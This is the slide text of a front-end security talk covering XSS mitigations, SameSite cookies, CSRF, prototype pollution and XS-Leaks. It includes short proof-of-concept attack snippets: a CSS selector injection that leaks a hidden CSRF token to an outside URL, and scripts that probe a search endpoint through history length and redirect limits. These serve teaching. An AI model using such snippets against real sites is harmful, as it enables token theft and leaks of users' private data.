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Front-end Security that Front-end developers do...

Huli
September 02, 2022

Front-end Security that Front-end developers don't know

This talk is an introduction to front-end security, including XSS, CSP, CSRF, XSLeaks and so on.

這是我之前去趨勢內部分享的一個講題,主要是有關於前端資訊安全,談到了一些經典的主題像是 XSS, CSP, CSRF 以及 XSLeaks 等等

Huli

September 02, 2022
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  1. Mitigation 1. URL should start with 
 http:// or https://

    2. Use new URL() to check 
 protocol
  2. Sandboxed iframe allow-downloads allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-scripts allow-popups-to-escape-sandbox

    allow-presentation allow-same-origin allow-top-navigation allow-top-navigation-by-user- activation allow-top-navigation-to-custom- protocols
  3. Real world example HackMD Stored XSS & Bypass CSP with

    Google Tag Manager (GTM + unsafe-eval) https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/ HackMD_XSS_%26_Bypass_CSP.md A Wormable XSS on HackMD! (cdnjs + angular CSTI) https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html
  4. SameSite Cookie Changes in February 2020: What You Need to

    Know https://blog.chromium.org/2020/02/samesite-cookie-changes-in-february.html
  5. Feature: Cookies default to SameSite=Lax https://chromestatus.com/feature/5088147346030592 Note: Chrome will make

    an exception for cookies set without a SameSite attribute less than 2 minutes ago. Such cookies will also be sent with non-idempotent (e.g. POST) top-level cross-site requests.… Support for this intervention ("Lax + POST") will be removed in the future.
  6. User Login huli.tw User Open attack.com Submit form <form action="//huli.tw/update">

    <input name="password" value="a"> Cookie:sid=.. < 2min
  7. Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https,

    blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)
  8. Origin(scheme,host,port) Site(scheme,eTLD) https://huli.tw (https, huli.tw, 443) (https, huli.tw) http://blog.huli.tw (https,

    blog.huli.tw, 443) (https, huli.tw) https://huli.github.io (https, huli.github.io, 443) (https, huli.github.io) https://abc.github.io (https, abc.github.io, 443) (https, abc.github.io)
  9. var obj = {} var obj2 = {} // obj.__proto__

    === Object.prototype // => Object.prototype.a = 1 obj['__proto__']['a'] = 1 console.log(obj2.a) // 1
  10. Real world example Exploiting prototype pollution – RCE in Kibana

    (CVE-2019-7609) https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
  11. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] { background: url(//huli.tw?q=a) } </style>
  12. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] { background: url(//huli.tw?q=a) } </style>
  13. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) } </style>
  14. <form action="/update"> <input type="hidden" name="token" value="abc123" > <input name="username"> <input

    name="password"> </form> <style> input [name=token] [value^=a] ~ * { background: url(//huli.tw?q=a) } </style>
  15. <form action="/update"> <input name="username"> <input name="password"> <input type="hidden" name="token" value="abc123"

    > </form> <style> form:has( input [name=token] [value^=a]) { background: url(//huli.tw?q=a) } </style>
  16. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })
  17. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.sendStatus(404) res.send(user) })
  18. Is it vulnerable? Yes :) No :( app.get('/search', (req, res)

    => { const user = db.users.search(req.query.q) if(!user) return res.status(404) res.send(user) }) Found => 200 Not Found => 404
  19. Can you exploit the vulnerability? app.get('/search', (req, res) => {

    const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.send(`Redirecting...<script> setTimeout(() => { location = '/result?id=${user.id}' }, 500) </script>`) })
  20. <script> var w = window.open('http://localhost:3000/search?q=1') setTimeout(() => { w.location =

    '/' setTimeout(() => { alert(w.history.length === 3 ? 'Found' : 'Not found') w.close() }, 500) }, 1500) </script>
  21. Can you exploit the vulnerability? app.get('/search', (req, res) => {

    const user = db.users.search(req.query.q) if (!user) return res.send('not found') res.redirect('/result?id='+user.id) })
  22. <script> const attackerUrl = "https://xsinator.com/testcases/ files/maxredirect.php" const url = ‘http://localhost:3000/search?q=a'

    fetch(`${attackerUrl}?n=19&url=${encodeURI(url)}`, { credentials: "include", mode: "no-cors" }).then(() => { console.log('not found') }) .catch(() => { console.log('found') }) </script>
  23. Resources 1. https://github.com/fei3363/Awesome-Taiwan-Security-Course 2. https://github.com/splitline/How-to-Hack-Websites 3. https://xsleaks.dev/ 4. https://xsinator.com/ 5.

    https://portswigger.net/web-security 6. https://book.hacktricks.xyz/pentesting-web/xs-search 7. https://blog.huli.tw 8. https://blog.maple3142.net/
  24. Q&A